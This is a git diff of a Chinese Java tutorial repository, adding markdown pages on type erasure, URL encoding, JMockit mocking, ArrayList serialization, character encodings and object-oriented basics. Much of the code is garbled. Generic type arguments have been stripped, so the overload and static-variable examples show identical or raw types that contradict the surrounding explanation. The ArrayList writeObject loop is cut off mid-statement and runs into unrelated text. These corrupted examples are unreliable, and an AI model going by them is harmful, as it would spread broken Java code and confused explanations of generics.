+ }
+ return w;
+ }
+ }
+
+
+第2个泛型类`Comparable `擦除后 A被替换为最左边界`Object`。`Comparable`的类型参数`NumericValue`被擦除掉,但是这直 接导致`NumericValue`没有实现接口`Comparable的compareTo(Object that)`方法,于是编译器充当好人,添加了一个**桥接方法**。 第3个示例中限定了类型参数的边界`>A`,A必须为`Comparable `的子类,按照类型擦除的过程,先讲所有的类型参数 ti换为最左边界`Comparable `,然后去掉参数类型`A`,得到最终的擦除后结果。
+
+* * *
+
+### 四、泛型带来的问题
+
+**一、当泛型遇到重载:**
+
+ public class GenericTypes {
+
+ public static void method(List list) {
+ System.out.println("invoke method(List list)");
+ }
+
+ public static void method(List list) {
+ System.out.println("invoke method(List list)");
+ }
+ }
+
+
+上面这段代码,有两个重载的函数,因为他们的参数类型不同,一个是`List`另一个是`List` ,但是,这段代码是编译通不过的。因为我们前面讲过,参数`List`和`List`编译之后都被擦除了,变成了一样的原生类型List,擦除动作导致这两个方法的特征签名变得一模一样。
+
+**二、当泛型遇到catch:**
+
+如果我们自定义了一个泛型异常类GenericException,那么,不要尝试用多个catch取匹配不同的异常类型,例如你想要分别捕获GenericException、GenericException,这也是有问题的。
+
+三、当泛型内包含静态变量
+
+ public class StaticTest{
+ public static void main(String[] args){
+ GT gti = new GT();
+ gti.var=1;
+ GT gts = new GT();
+ gts.var=2;
+ System.out.println(gti.var);
+ }
+ }
+ class GT{
+ public static int var=0;
+ public void nothing(T x){}
+ }
+
+
+答案是——2!由于经过类型擦除,所有的泛型类实例都关联到同一份字节码上,泛型类的所有静态变量是共享的。
+
+* * *
+
+### 五、总结
+
+1\.虚拟机中没有泛型,只有普通类和普通方法,所有泛型类的类型参数在编译时都会被擦除,泛型类并没有自己独有的Class类对象。比如并不存在`List`.class或是`List.class`,而只有`List.class`。 2.创建泛型对象时请指明类型,让编译器尽早的做参数检查(**Effective Java,第23条:请不要在新代码中使用原生态类型**) 3.不要忽略编译器的警告信息,那意味着潜在的`ClassCastException`等着你。 4.静态变量是被泛型类的所有实例所共享的。对于声明为`MyClass`的类,访问其中的静态变量的方法仍然是 `MyClass.myStaticVar`。不管是通过`new MyClass`还是`new MyClass`创建的对象,都是共享一个静态变量。 5.泛型的类型参数不能用在`Java`异常处理的`catch`语句中。因为异常处理是由JVM在运行时刻来进行的。由于类型信息被擦除,`JVM`是无法区分两个异常类型`MyException`和`MyException`的。对于`JVM`来说,它们都是 `MyException`类型的。也就无法执行与异常对应的`catch`语句。
+
+[1]: http://docs.oracle.com/javase/tutorial/java/generics/erasure.html
+[2]: /archives/255
diff --git a/docs/basics/java-basic/url-encode.md b/docs/basics/java-basic/url-encode.md
new file mode 100644
index 00000000..2cc68f03
--- /dev/null
+++ b/docs/basics/java-basic/url-encode.md
@@ -0,0 +1,9 @@
+网络标准RFC 1738做了硬性规定 :只有字母和数字[0-9a-zA-Z]、一些特殊符号“$-_.+!*'(),”[不包括双引号]、以及某些保留字,才可以不经过编码直接用于URL;
+
+除此以外的字符是无法在URL中展示的,所以,遇到这种字符,如中文,就需要进行编码。
+
+所以,把带有特殊字符的URL转成可以显示的URL过程,称之为URL编码。
+
+反之,就是解码。
+
+URL编码可以使用不同的方式,如escape,URLEncode,encodeURIComponent。
\ No newline at end of file
diff --git a/basics/java-basic/usage-of-reflection.md b/docs/basics/java-basic/usage-of-reflection.md
similarity index 100%
rename from basics/java-basic/usage-of-reflection.md
rename to docs/basics/java-basic/usage-of-reflection.md
diff --git a/docs/basics/java-basic/ut-with-jmockit.md b/docs/basics/java-basic/ut-with-jmockit.md
new file mode 100644
index 00000000..199d49da
--- /dev/null
+++ b/docs/basics/java-basic/ut-with-jmockit.md
@@ -0,0 +1,247 @@
+JMockit是基于JavaSE5中的java.lang.instrument包开发,内部使用ASM库来动态修改java的字节码,使得java这种静态语言可以想动态脚本语言一样动态设置被Mock对象私有属性,模拟静态、私有方法行为等等,对于手机开发,嵌入式开发等要求代码尽量简洁的情况下,或者对于被测试代码不想做任何修改的前提下,使用JMockit可以轻松搞定很多测试场景。
+
+[ ][1]
+
+通过如下方式在maven中添加JMockit的相关依赖:
+
+
+ com.googlecode.jmockit
+ jmockit
+ 1.5
+ test
+
+
+ com.googlecode.jmockit
+ jmockit-coverage
+ 0.999.24
+ test
+
+
+
+JMockit有两种Mock方式:基于行为的Mock方式和基于状态的Mock方式:
+
+引用单元测试中mock的使用及mock神器jmockit实践中JMockit API和工具如下:
+
+[ ][2]
+
+### (1).基于行为的Mock方式:
+
+非常类似与EasyMock和PowerMock的工作原理,基本步骤为:
+
+1\.录制方法预期行为。
+
+2\.真实调用。
+
+3\.验证录制的行为被调用。
+
+通过一个简单的例子来介绍JMockit的基本流程:
+
+**要Mock测试的方法如下:**
+
+ public class MyObject {
+ public String hello(String name){
+ return "Hello " + name;
+ }
+ }
+
+
+**使用JMockit编写的单元测试如下:**
+
+ @Mocked //用@Mocked标注的对象,不需要赋值,jmockit自动mock
+ MyObject obj;
+
+ @Test
+ public void testHello() {
+ new NonStrictExpectations() {//录制预期模拟行为
+ {
+ obj.hello("Zhangsan");
+ returns("Hello Zhangsan");
+ //也可以使用:result = "Hello Zhangsan";
+ }
+ };
+ assertEquals("Hello Zhangsan", obj.hello("Zhangsan"));//调用测试方法
+ new Verifications() {//验证预期Mock行为被调用
+ {
+ obj.hello("Hello Zhangsan");
+ times = 1;
+ }
+ };
+ }
+
+
+JMockit也可以分类为非局部模拟与局部模拟,区分在于Expectations块是否有参数,有参数的是局部模拟,反之是非局部模拟。
+
+而Expectations块一般由Expectations类和NonStrictExpectations类定义,类似于EasyMock和PowerMock中的Strict Mock和一般性Mock。
+
+用Expectations类定义的,则mock对象在运行时只能按照 Expectations块中定义的顺序依次调用方法,不能多调用也不能少调用,所以可以省略掉Verifications块;
+
+而用NonStrictExpectations类定义的,则没有这些限制,所以如果需要验证,则要添加Verifications块。
+
+上述的例子使用了非局部模拟,下面我们使用局部模拟来改写上面的测试,代码如下:
+
+ @Test
+ public void testHello() {
+ final MyObject obj = new MyObject();
+ new NonStrictExpectations(obj) {//录制预期模拟行为
+ {
+ obj.hello("Zhangsan");
+ returns("Hello Zhangsan");
+ //也可以使用:result = "Hello Zhangsan";
+ }
+ };
+ assertEquals("Hello Zhangsan", obj.hello("Zhangsan"));//调用测试方法
+ new Verifications() {//验证预期Mock行为被调用
+ {
+ obj.hello("Hello Zhangsan");
+ times = 1;
+ }
+ };
+ }
+
+
+**模拟静态方法:**
+
+ @Test
+ public void testMockStaticMethod() {
+ new NonStrictExpectations(ClassMocked.class) {
+ {
+ ClassMocked.getDouble(1);//也可以使用参数匹配:ClassMocked.getDouble(anyDouble);
+ result = 3;
+ }
+ };
+
+ assertEquals(3, ClassMocked.getDouble(1));
+
+ new Verifications() {
+ {
+ ClassMocked.getDouble(1);
+ times = 1;
+ }
+ };
+ }
+
+
+**模拟私有方法:**
+
+如果ClassMocked类中的getTripleString(int)方法指定调用一个私有的multiply3(int)的方法,我们可以使用如下方式来Mock:
+
+ @Test
+ public void testMockPrivateMethod() throws Exception {
+ final ClassMocked obj = new ClassMocked();
+ new NonStrictExpectations(obj) {
+ {
+ this.invoke(obj, "multiply3", 1);//如果私有方法是静态的,可以使用:this.invoke(null, "multiply3")
+ result = 4;
+ }
+ };
+
+ String actual = obj.getTripleString(1);
+ assertEquals("4", actual);
+
+ new Verifications() {
+ {
+ this.invoke(obj, "multiply3", 1);
+ times = 1;
+ }
+ };
+ }
+
+
+**设置Mock对象私有属性的值:** 我们知道EasyMock和PowerMock的Mock对象是通过JDK/CGLIB动态代理实现的,本质上是类的继承或者接口的实现,但是在java面向对象编程中,基类对象中的私有属性是无法被子类继承的,所以如果被Mock对象的方法中使用到了其自身的私有属性,并且这些私有属性没有提供对象访问方法,则使用传统的Mock方法是无法进行测试的,JMockit提供了设置Mocked对象私有属性值的方法,代码如下: 被测试代码:
+
+ public class ClassMocked {
+ private String name = "name_init";
+
+ public String getName() {
+ return name;
+ }
+
+ private static String className="Class3Mocked_init";
+
+ public static String getClassName(){
+ return className;
+ }
+ }
+
+
+**使用JMockit设置私有属性:**
+
+ @Test
+ public void testMockPrivateProperty() throws IOException {
+ final ClassMocked obj = new ClassMocked();
+ new NonStrictExpectations(obj) {
+ {
+ this.setField(obj, "name", "name has bean change!");
+ }
+ };
+
+ assertEquals("name has bean change!", obj.getName());
+ }
+
+
+**使用JMockit设置静态私有属性:**
+
+ @Test
+ public void testMockPrivateStaticProperty() throws IOException {
+ new NonStrictExpectations(Class3Mocked.class) {
+ {
+ this.setField(ClassMocked.class, "className", "className has bean change!");
+ }
+ };
+
+ assertEquals("className has bean change!", ClassMocked.getClassName());
+ }
+
+
+### (2).基于状态的Mock方式:
+
+JMockit上面的基于行为Mock方式和传统的EasyMock和PowerMock流程基本类似,相当于把被模拟的方法当作黑盒来处理,而JMockit的基于状态的Mock可以直接改写被模拟方法的内部逻辑,更像是真正意义上的白盒测试,下面通过简单例子介绍JMockit基于状态的Mock。 被测试的代码如下:
+
+ public class StateMocked {
+
+ public static int getDouble(int i){
+ return i*2;
+ }
+
+ public int getTriple(int i){
+ return i*3;
+ }
+ }
+
+
+**改写普通方法内容:**
+
+ @Test
+ public void testMockNormalMethodContent() throws IOException {
+ StateMocked obj = new StateMocked();
+ new MockUp() {//使用MockUp修改被测试方法内部逻辑
+ @Mock
+ public int getTriple(int i) {
+ return i * 30;
+ }
+ };
+ assertEquals(30, obj.getTriple(1));
+ assertEquals(60, obj.getTriple(2));
+ Mockit.tearDownMocks();//注意:在JMockit1.5之后已经没有Mockit这个类,使用MockUp代替,mockUp和tearDown方法在MockUp类中
+ }
+
+
+**修改静态方法的内容:** 基于状态的JMockit改写静态/final方法内容和测试普通方法没有什么区别,需要注意的是在MockUp中的方法除了不包含static关键字以外,其他都和被Mock的方法签名相同,并且使用@Mock标注,测试代码如下:
+
+ @Test
+ public void testGetTriple() {
+ new MockUp() {
+ @Mock
+ public int getDouble(int i){
+ return i*20;
+ }
+ };
+ assertEquals(20, StateMocked.getDouble(1));
+ assertEquals(40, StateMocked.getDouble(2));
+ }
+
+
+原文链接: http://blog.csdn.net/chjttony/article/details/17838693
+
+ [1]: http://www.hollischuang.com/wp-content/uploads/2015/09/20140104100723093.jpg
+ [2]: http://www.hollischuang.com/wp-content/uploads/2015/09/20140104102342843.jpg
\ No newline at end of file
diff --git a/basics/java-basic/value-of-vs-to-string.md b/docs/basics/java-basic/value-of-vs-to-string.md
similarity index 77%
rename from basics/java-basic/value-of-vs-to-string.md
rename to docs/basics/java-basic/value-of-vs-to-string.md
index a3ed3fe4..9a59cfa9 100644
--- a/basics/java-basic/value-of-vs-to-string.md
+++ b/docs/basics/java-basic/value-of-vs-to-string.md
@@ -1,4 +1,4 @@
-我们有三种方式将一个int类型的变量变成呢过String类型,那么他们有什么区别?
+我们有三种方式将一个int类型的变量变成一个String类型,那么他们有什么区别?
1.int i = 5;
2.String i1 = "" + i;
@@ -7,4 +7,4 @@
第三行和第四行没有任何区别,因为String.valueOf(i)也是调用Integer.toString(i)来实现的。
-第二行代码其实是String i1 = (new StringBuilder()).append(i).toString();,首先创建一个StringBuilder对象,然后再调用append方法,再调用toString方法。
\ No newline at end of file
+第二行代码其实是String i1 = (new StringBuilder()).append(i).toString();,首先创建一个StringBuilder对象,然后再调用append方法,再调用toString方法。
diff --git a/docs/basics/java-basic/why-gbk.md b/docs/basics/java-basic/why-gbk.md
new file mode 100644
index 00000000..bc8244ae
--- /dev/null
+++ b/docs/basics/java-basic/why-gbk.md
@@ -0,0 +1 @@
+其实UTF8确实已经是国际通用的字符编码了,但是这种字符标准毕竟是外国定的,而国内也有类似的标准指定组织,也需要制定一套国内通用的标准,于是GBK就诞生了。
\ No newline at end of file
diff --git a/docs/basics/java-basic/why-transient-in-arraylist.md b/docs/basics/java-basic/why-transient-in-arraylist.md
new file mode 100644
index 00000000..2b1e8361
--- /dev/null
+++ b/docs/basics/java-basic/why-transient-in-arraylist.md
@@ -0,0 +1,77 @@
+
+
+`ArrayList`使用了`transient`关键字进行存储优化,而`Vector`没有这样做,为什么?
+
+### ArrayList
+
+ /**
+ * Save the state of the ArrayList instance to a stream (that
+ * is, serialize it).
+ *
+ * @serialData The length of the array backing the ArrayList
+ * instance is emitted (int), followed by all of its elements
+ * (each an Object ) in the proper order.
+ */
+ private void writeObject(java.io.ObjectOutputStream s)
+ throws java.io.IOException{
+ // Write out element count, and any hidden stuff
+ int expectedModCount = modCount;
+ s.defaultWriteObject();
+
+ // Write out array length
+ s.writeInt(elementData.length);
+
+ // Write out all elements in the proper order.
+ for (int i=0; i 同步处理:Vector同步,ArrayList非同步 Vector缺省情况下增长原来一倍的数组长度,ArrayList是0.5倍. ArrayList: int newCapacity = oldCapacity + (oldCapacity >> 1); ArrayList自动扩大容量为原来的1.5倍(实现的时候,方法会传入一个期望的最小容量,若扩容后容量仍然小于最小容量,那么容量就为传入的最小容量。扩容的时候使用的Arrays.copyOf方法最终调用native方法进行新数组创建和数据拷贝)
+>
+> Vector: int newCapacity = oldCapacity + ((capacityIncrement > 0) ? capacityIncrement : oldCapacity);
+>
+> Vector指定了`initialCapacity,capacityIncrement`来初始化的时候,每次增长`capacityIncrement`
\ No newline at end of file
diff --git a/docs/basics/java-basic/why-utf8.md b/docs/basics/java-basic/why-utf8.md
new file mode 100644
index 00000000..3d1862f2
--- /dev/null
+++ b/docs/basics/java-basic/why-utf8.md
@@ -0,0 +1,17 @@
+广义的 Unicode 是一个标准,定义了一个字符集以及一系列的编码规则,即 Unicode 字符集和 UTF-8、UTF-16、UTF-32 等等编码规则。
+
+Unicode 是字符集。UTF-8 是编码规则。
+
+unicode虽然统一了全世界字符的二进制编码,但没有规定如何存储。
+
+如果Unicode统一规定,每个符号就要用三个或四个字节表示,因为字符太多,只能用这么多字节才能表示完全。
+
+一旦这么规定,那么每个英文字母前都必然有二到三个字节是0,因为所有英文字母在ASCII中都有,都可以用一个字节表示,剩余字节位置就要补充0。
+
+如果这样,文本文件的大小会因此大出二三倍,这对于存储来说是极大的浪费。这样导致一个后果:出现了Unicode的多种存储方式。
+
+UTF-8就是Unicode的一个使用方式,通过他的英文名Unicode Tranformation Format就可以知道。
+
+UTF-8使用可变长度字节来储存 Unicode字符,例如ASCII字母继续使用1字节储存,重音文字、希腊字母或西里尔字母等使用2字节来储存,而常用的汉字就要使用3字节。辅助平面字符则使用4字节。
+
+一般情况下,同一个地区只会出现一种文字类型,比如中文地区一般很少出现韩文,日文等。所以使用这种编码方式可以大大节省空间。比如纯英文网站就要比纯中文网站占用的存储小一些。
\ No newline at end of file
diff --git a/docs/basics/object-oriented/characteristics.md b/docs/basics/object-oriented/characteristics.md
new file mode 100644
index 00000000..0ac4f280
--- /dev/null
+++ b/docs/basics/object-oriented/characteristics.md
@@ -0,0 +1,90 @@
+我们说面向对象的开发范式,其实是对现实世界的理解和抽象的方法,那么,具体如何将现实世界抽象成代码呢?这就需要运用到面向对象的三大特性,分别是封装性、继承性和多态性。
+
+### 封装(Encapsulation)
+
+所谓封装,也就是把客观事物封装成抽象的类,并且类可以把自己的数据和方法只让可信的类或者对象操作,对不可信的进行信息隐藏。
+
+简单的说,一个类就是一个封装了数据以及操作这些数据的代码的逻辑实体。在一个对象内部,某些代码或某些数据可以是私有的,不能被外界访问。通过这种方式,对象对内部数据提供了不同级别的保护,以防止程序中无关的部分意外的改变或错误的使用了对象的私有部分。
+
+#### 封装举例
+
+如我们想要定义一个矩形,先定义一个Rectangle类,并其中通过封装的手段放入一些必备数据。
+
+ /**
+ * 矩形
+ */
+ class Rectangle {
+
+ /**
+ * 设置矩形的长度和宽度
+ */
+ public Rectangle(int length, int width) {
+ this.length = length;
+ this.width = width;
+ }
+
+ /**
+ * 长度
+ */
+ private int length;
+
+ /**
+ * 宽度
+ */
+ private int width;
+
+ /**
+ * 获得矩形面积
+ *
+ * @return
+ */
+ public int area() {
+ return this.length * this.width;
+ }
+ }
+
+我们通过封装的方式,给"矩形"定义了"长度"和"宽度",这就完成了对现实世界中的"矩形"的抽象的第一步。
+
+### 继承(Inheritance)
+
+继承是指这样一种能力:它可以使用现有类的所有功能,并在无需重新编写原来的类的情况下对这些功能进行扩展。
+
+通过继承创建的新类称为“子类”或“派生类”,被继承的类称为“基类”、“父类”或“超类”。继承的过程,就是从一般到特殊的过程。
+
+#### 继承举例
+
+我们想要定义一个正方形,因为已经有了矩形,所以我们可以直接继承Rectangle类,因为正方形是长方形的一种特例。
+
+
+ /**
+ * 正方形,继承自矩形
+ */
+ class Square extends Rectangle {
+
+ /**
+ * 设置正方形边长
+ *
+ * @param length
+ */
+ public Square(int length) {
+ super(length, length);
+ }
+ }
+
+现实世界中,"正方形"是"矩形"的特例,或者说正方形是通过矩形派生出来的,这种派生关系,在面向对象中可以用继承来表达。
+
+### 多态(Polymorphism)
+
+所谓多态就是指一个类实例的相同方法在不同情形有不同表现形式。多态机制使具有不同内部结构的对象可以共享相同的外部接口。
+
+这意味着,虽然针对不同对象的具体操作不同,但通过一个公共的类,它们(那些操作)可以通过相同的方式予以调用。
+
+最常见的多态就是将子类传入父类参数中,运行时调用父类方法时通过传入的子类决定具体的内部结构或行为。
+
+关于多态的例子,我们第二章中深入开展介绍。
+
+在介绍了面向对象的封装、继承、多态的三个基本特征之后,我们基本掌握了对现实世界抽象的基本方法。
+
+莎士比亚说:"一千个读者眼里有一千个哈姆雷特",说到对现实世界的抽象,虽然方法相同,但是运用同样的方法,最终得到的结果可能千差万别,那么如何评价这个抽象的结果的好坏呢?
+
+这就要提到面喜爱那个对象的五大基本原则了,有了五大原则,我们参考他们来评价一个抽象的好坏。
\ No newline at end of file
diff --git a/docs/basics/object-oriented/constructor.md b/docs/basics/object-oriented/constructor.md
new file mode 100644
index 00000000..894a6c26
--- /dev/null
+++ b/docs/basics/object-oriented/constructor.md
@@ -0,0 +1,56 @@
+构造函数,是一种特殊的方法。主要用来在创建对象时初始化对象,即为对象成员变量赋初始值,总与new运算符一起使用在创建对象的语句中。
+
+ /**
+ * 矩形
+ */
+ class Rectangle {
+
+ /**
+ * 构造函数
+ */
+ public Rectangle(int length, int width) {
+ this.length = length;
+ this.width = width;
+ }
+
+ public static void main (String []args){
+ //使用构造函数创建对象
+ Rectangle rectangle = new Rectangle(10,5);
+
+ }
+ }
+
+特别的一个类可以有多个构造函数,可根据其参数个数的不同或参数类型的不同来区分它们即构造函数的重载。
+
+
+构造函数跟一般的实例方法十分相似;但是与其它方法不同,构造器没有返回类型,不会被继承,且可以有范围修饰符。
+
+构造器的函数名称必须和它所属的类的名称相同。它承担着初始化对象数据成员的任务。
+
+如果在编写一个可实例化的类时没有专门编写构造函数,多数编程语言会自动生成缺省构造器(默认构造函数)。默认构造函数一般会把成员变量的值初始化为默认值,如int -> 0,Integer -> null。
+
+
+如果在编写一个可实例化的类时没有专门编写构造函数,默认情况下,一个Java类中会自动生成一个默认无参构造函数。默认构造函数一般会把成员变量的值初始化为默认值,如int -> 0,Integer -> null。
+
+但是,如果我们手动在某个类中定义了一个有参数的构造函数,那么这个默认的无参构造函数就不会自动添加了。需要手动创建!
+
+ /**
+ * 矩形
+ */
+ class Rectangle {
+
+ /**
+ * 构造函数
+ */
+ public Rectangle(int length, int width) {
+ this.length = length;
+ this.width = width;
+ }
+
+ /**
+ * 无参构造函数
+ */
+ public Rectangle() {
+
+ }
+ }
diff --git a/docs/basics/object-oriented/extends-implement.md b/docs/basics/object-oriented/extends-implement.md
new file mode 100644
index 00000000..ca79513b
--- /dev/null
+++ b/docs/basics/object-oriented/extends-implement.md
@@ -0,0 +1,30 @@
+前面的章节我们提到过面向对象有三个特征:封装、继承、多态。前面我们分别介绍过了这三个特性。
+
+我们知道,继承可以使用现有类的所有功能,并在无需重新编写原来的类的情况下对这些功能进行扩展。这种派生方式体现了*传递性*。
+
+在Java中,除了继承,还有一种体现传递性的方式叫做实现。那么,这两者方式有什么区别呢?
+
+继承和实现两者的明确定义和区别如下:
+
+继承(Inheritance):如果多个类的某个部分的功能相同,那么可以抽象出一个类出来,把他们的相同部分都放到父类里,让他们都继承这个类。
+
+实现(Implement):如果多个类处理的目标是一样的,但是处理的方法方式不同,那么就定义一个接口,也就是一个标准,让他们的实现这个接口,各自实现自己具体的处理方法来处理那个目标
+
+继承指的是一个类(称为子类、子接口)继承另外的一个类(称为父类、父接口)的功能,并可以增加它自己的新功能的能力。所以,继承的根本原因是因为要*复用*,而实现的根本原因是需要定义一个*标准*。
+
+在Java中,继承使用`extends`关键字实现,而实现通过`implements`关键字。
+
+ >简单点说,就是同样是一台汽车,既可以是电动车,也可以是汽油车,也可以是油电混合的,只要实现不同的标准就行了,但是一台车只能属于一个品牌,一个厂商。
+
+ ```
+ class Car extends Benz implements GasolineCar, ElectroCar{
+
+ }
+
+```
+
+以上,我们定义了一辆汽车,他实现了电动车和汽油车两个标准,但是他属于奔驰这个品牌。像上面这样定义,我们可以最大程度的遵守标准,并且复用奔驰车所有已有的一些功能组件。
+
+另外,在接口中只能定义全局常量(static final)和无实现的方法(Java 8以后可以有default方法);而在继承中可以定义属性方法,变量,常量等。
+
+*特别需要注意的是,Java中支持一个类同时实现多个接口,但是不支持同时继承多个类。* 但是这个问题在Java 8之后也不绝对了。关于多继承的问题,我们下一个章节中介绍。
\ No newline at end of file
diff --git a/basics/java-basic/inheritance-composition.md b/docs/basics/object-oriented/inheritance-composition.md
similarity index 82%
rename from basics/java-basic/inheritance-composition.md
rename to docs/basics/object-oriented/inheritance-composition.md
index 5eff0d32..14b70340 100644
--- a/basics/java-basic/inheritance-composition.md
+++ b/docs/basics/object-oriented/inheritance-composition.md
@@ -1,6 +1,10 @@
-Java是一个面向对象的语言。每一个学习过Java的人都知道,封装、继承、多态是面向对象的三个特征。每个人在刚刚学习继承的时候都会或多或少的有这样一个印象:继承可以帮助我实现类的复用。所以,很多开发人员在需要复用一些代码的时候会很自然的使用类的继承的方式,因为书上就是这么写的(老师就是这么教的)。但是,其实这样做是不对的。长期大量的使用继承会给代码带来很高的维护成本。
+在前面几篇文章中,我们了解了封装、继承、多态是面向对象的三个特征。并且通过对继承和实现的学习,了解到继承可以帮助我实现类的复用。
-本文将介绍组合和继承的概念及区别,并从多方面分析在写代码时如何进行选择。
+所以,很多开发人员在需要复用一些代码的时候会很自然的使用类的继承的方式。
+
+但是,遇到想要复用的场景就直接使用继承,这样做是不对的。长期大量的使用继承会给代码带来很高的维护成本。
+
+本文将介绍一种可以帮助我们复用的新的概念——组合,通过学习组合和继承的概念及区别,并从多方面帮大家分析在写代码时如何进行选择。
## 面向对象的复用技术
@@ -12,7 +16,9 @@ Java是一个面向对象的语言。每一个学习过Java的人都知道,封
## 继承
-继承(Inheritance)是一种联结类与类的层次模型。指的是一个类(称为子类、子接口)继承另外的一个类(称为父类、父接口)的功能,并可以增加它自己的新功能的能力,继承是类与类或者接口与接口之间最常见的关系;继承是一种[`is-a`][1]关系。(图片来自网络,侵删。)
+前面的章节中重点介绍过继承,我们说继承是类与类或者接口与接口之间最常见的一种关系;继承是一种[`is-a`][1]关系。
+
+> is-a:表示"是一个"的关系,如狗是一个动物
![Inheritance][2]
@@ -20,6 +26,8 @@ Java是一个面向对象的语言。每一个学习过Java的人都知道,封
组合(Composition)体现的是整体与部分、拥有的关系,即[`has-a`][3]的关系。
+> has-a:表示"有一个"的关系,如狗有一个尾巴
+
![Composition][4]
## 组合与继承的区别和联系
diff --git a/docs/basics/object-oriented/java-pass-by.md b/docs/basics/object-oriented/java-pass-by.md
new file mode 100644
index 00000000..7d2abf93
--- /dev/null
+++ b/docs/basics/object-oriented/java-pass-by.md
@@ -0,0 +1,98 @@
+关于Java中方法间的参数传递到底是怎样的、为什么很多人说Java只有值传递等问题,一直困惑着很多人,甚至我在面试的时候问过很多有丰富经验的开发者,他们也很难解释的很清楚。
+
+我很久也写过一篇文章,我当时认为我把这件事说清楚了,但是,最近在整理这部分知识点的时候,我发现我当时理解的还不够透彻,于是我想着通过Google看看其他人怎么理解的,但是遗憾的是没有找到很好的资料可以说的很清楚。
+
+于是,我决定尝试着把这个话题总结一下,重新理解一下这个问题。
+
+### 辟谣时间
+
+关于这个问题,在StackOverflow上也引发过广泛的讨论,看来很多程序员对于这个问题的理解都不尽相同,甚至很多人理解的是错误的。还有的人可能知道Java中的参数传递是值传递,但是说不出来为什么。
+
+在开始深入讲解之前,有必要纠正一下大家以前的那些错误看法了。如果你有以下想法,那么你有必要好好阅读本文。
+
+> 错误理解一:值传递和引用传递,区分的条件是传递的内容,如果是个值,就是值传递。如果是个引用,就是引用传递。
+>
+> 错误理解二:Java是引用传递。
+>
+> 错误理解三:传递的参数如果是普通类型,那就是值传递,如果是对象,那就是引用传递。
+
+### 实参与形参
+
+我们都知道,在Java中定义方法的时候是可以定义参数的。比如Java中的main方法,`public static void main(String[] args)`,这里面的args就是参数。参数在程序语言中分为形式参数和实际参数。
+
+> 形式参数:是在定义函数名和函数体的时候使用的参数,目的是用来接收调用该函数时传入的参数。
+>
+> 实际参数:在调用有参函数时,主调函数和被调函数之间有数据传递关系。在主调函数中调用一个函数时,函数名后面括号中的参数称为“实际参数”。
+
+简单举个例子:
+
+ public static void main(String[] args) {
+ ParamTest pt = new ParamTest();
+ pt.sout("Hollis");//实际参数为 Hollis
+ }
+
+ public void sout(String name) { //形式参数为 name
+ System.out.println(name);
+ }
+
+
+实际参数是调用有参方法的时候真正传递的内容,而形式参数是用于接收实参内容的参数。
+
+### 求值策略
+
+我们说当进行方法调用的时候,需要把实际参数传递给形式参数,那么传递的过程中到底传递的是什么东西呢?
+
+这其实是程序设计中**求值策略(Evaluation strategies)**的概念。
+
+在计算机科学中,求值策略是确定编程语言中表达式的求值的一组(通常确定性的)规则。求值策略定义何时和以何种顺序求值给函数的实际参数、什么时候把它们代换入函数、和代换以何种形式发生。
+
+求值策略分为两大基本类,基于如何处理给函数的实际参数,分位严格的和非严格的。
+
+#### 严格求值
+
+在“严格求值”中,函数调用过程中,给函数的实际参数总是在应用这个函数之前求值。多数现存编程语言对函数都使用严格求值。所以,我们本文只关注严格求值。
+
+在严格求值中有几个关键的求值策略是我们比较关心的,那就是**传值调用**(Call by value)、**传引用调用**(Call by reference)以及**传共享对象调用**(Call by sharing)。
+
+* 传值调用(值传递)
+ * 在传值调用中,实际参数先被求值,然后其值通过复制,被传递给被调函数的形式参数。因为形式参数拿到的只是一个"局部拷贝",所以如果在被调函数中改变了形式参数的值,并不会改变实际参数的值。
+* 传引用调用(引用传递)
+ * 在传引用调用中,传递给函数的是它的实际参数的隐式引用而不是实参的拷贝。因为传递的是引用,所以,如果在被调函数中改变了形式参数的值,改变对于调用者来说是可见的。
+* 传共享对象调用(共享对象传递)
+ * 传共享对象调用中,先获取到实际参数的地址,然后将其复制,并把该地址的拷贝传递给被调函数的形式参数。因为参数的地址都指向同一个对象,所以我们称也之为"传共享对象",所以,如果在被调函数中改变了形式参数的值,调用者是可以看到这种变化的。
+
+不知道大家有没有发现,其实传共享对象调用和传值调用的过程几乎是一样的,都是进行"求值"、"拷贝"、"传递"。你品,你细品。
+
+![][1]
+
+但是,传共享对象调用和内传引用调用的结果又是一样的,都是在被调函数中如果改变参数的内容,那么这种改变也会对调用者有影响。你再品,你再细品。
+
+那么,共享对象传递和值传递以及引用传递之间到底有很么关系呢?
+
+对于这个问题,我们应该关注过程,而不是结果,**因为传共享对象调用的过程和传值调用的过程是一样的,而且都有一步关键的操作,那就是"复制",所以,通常我们认为传共享对象调用是传值调用的特例**
+
+我们先把传共享对象调用放在一边,我们再来回顾下传值调用和传引用调用的主要区别:
+
+**传值调用是指在调用函数时将实际参数`复制`一份传递到函数中,传引用调用是指在调用函数时将实际参数的引用`直接`传递到函数中。**
+
+![pass-by-reference-vs-pass-by-value-animation][2]
+
+所以,两者的最主要区别就是是直接传递的,还是传递的是一个副本。
+
+这里我们来举一个形象的例子。再来深入理解一下传值调用和传引用调用:
+
+你有一把钥匙,当你的朋友想要去你家的时候,如果你`直接`把你的钥匙给他了,这就是引用传递。
+
+这种情况下,如果他对这把钥匙做了什么事情,比如他在钥匙上刻下了自己名字,那么这把钥匙还给你的时候,你自己的钥匙上也会多出他刻的名字。
+
+你有一把钥匙,当你的朋友想要去你家的时候,你`复刻`了一把新钥匙给他,自己的还在自己手里,这就是值传递。
+
+这种情况下,他对这把钥匙做什么都不会影响你手里的这把钥匙。
+
+前面我们介绍过了传值调用、传引用调用以及传值调用的特例传共享对象调用,那么,Java中是采用的哪种求值策略呢?
+
+下一篇我们深入分析。
+
+
+ [1]: http://www.hollischuang.com/wp-content/uploads/2020/04/15865905252659.jpg
+ [2]: http://www.hollischuang.com/wp-content/uploads/2020/04/pass-by-reference-vs-pass-by-value-animation.gif
\ No newline at end of file
diff --git a/basics/java-basic/jvm-language.md b/docs/basics/object-oriented/jvm-language.md
similarity index 87%
rename from basics/java-basic/jvm-language.md
rename to docs/basics/object-oriented/jvm-language.md
index 66448bcf..fabf7b62 100644
--- a/basics/java-basic/jvm-language.md
+++ b/docs/basics/object-oriented/jvm-language.md
@@ -8,7 +8,7 @@
经常使用IDE的开发者可能会发现,当我们在Intelij IDEA中,鼠标右键想要创建Java类的时候,IDE还会提示创建其他类型的文件,这就是IDE默认支持的一些可以运行在JVM上面的语言,没有提示的,可以通过插件来支持。
-
+
目前,可以直接在JVM上运行的语言有很多,今天介绍其中比较重要的九种。每种语言通过一段『HelloWorld』代码进行演示,看看不同语言的语法有何不同。
@@ -18,10 +18,11 @@ Kotlin是一种在Java虚拟机上运行的静态类型编程语言,它也可
#### Hello World In Kotlin
- fun main(args: Array) {
- println("Hello, world!")
- }
-
+```kotlin
